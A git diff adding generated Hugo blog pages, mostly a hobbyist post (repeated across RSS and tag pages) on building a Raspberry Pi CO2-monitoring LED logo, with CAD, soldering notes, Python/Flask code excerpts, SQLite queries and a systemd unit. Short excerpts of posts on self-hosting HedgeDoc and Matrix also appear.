    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    \ No newline at end of file diff --git a/public/tags/raspberrypi/page/1/index.html b/public/tags/raspberrypi/page/1/index.html new file mode 100644 index 0000000..098684b --- /dev/null +++ b/public/tags/raspberrypi/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/ + \ No newline at end of file diff --git a/public/tags/scd41/index.html b/public/tags/scd41/index.html new file mode 100644 index 0000000..59c6884 --- /dev/null +++ b/public/tags/scd41/index.html @@ -0,0 +1,12 @@ +Scd41 | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/scd41/index.xml b/public/tags/scd41/index.xml new file mode 100644 index 0000000..2a94535 --- /dev/null +++ b/public/tags/scd41/index.xml @@ -0,0 +1,368 @@ +Scd41 on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/Recent content in Scd41 on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    \ No newline at end of file diff --git a/public/tags/scd41/page/1/index.html b/public/tags/scd41/page/1/index.html new file mode 100644 index 0000000..e614fd9 --- /dev/null +++ b/public/tags/scd41/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/ + \ No newline at end of file diff --git a/public/tags/self-hosting/index.html b/public/tags/self-hosting/index.html new file mode 100644 index 0000000..2a3c2c3 --- /dev/null +++ b/public/tags/self-hosting/index.html @@ -0,0 +1,15 @@ +Self-Hosting | AlipourIm journeys +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
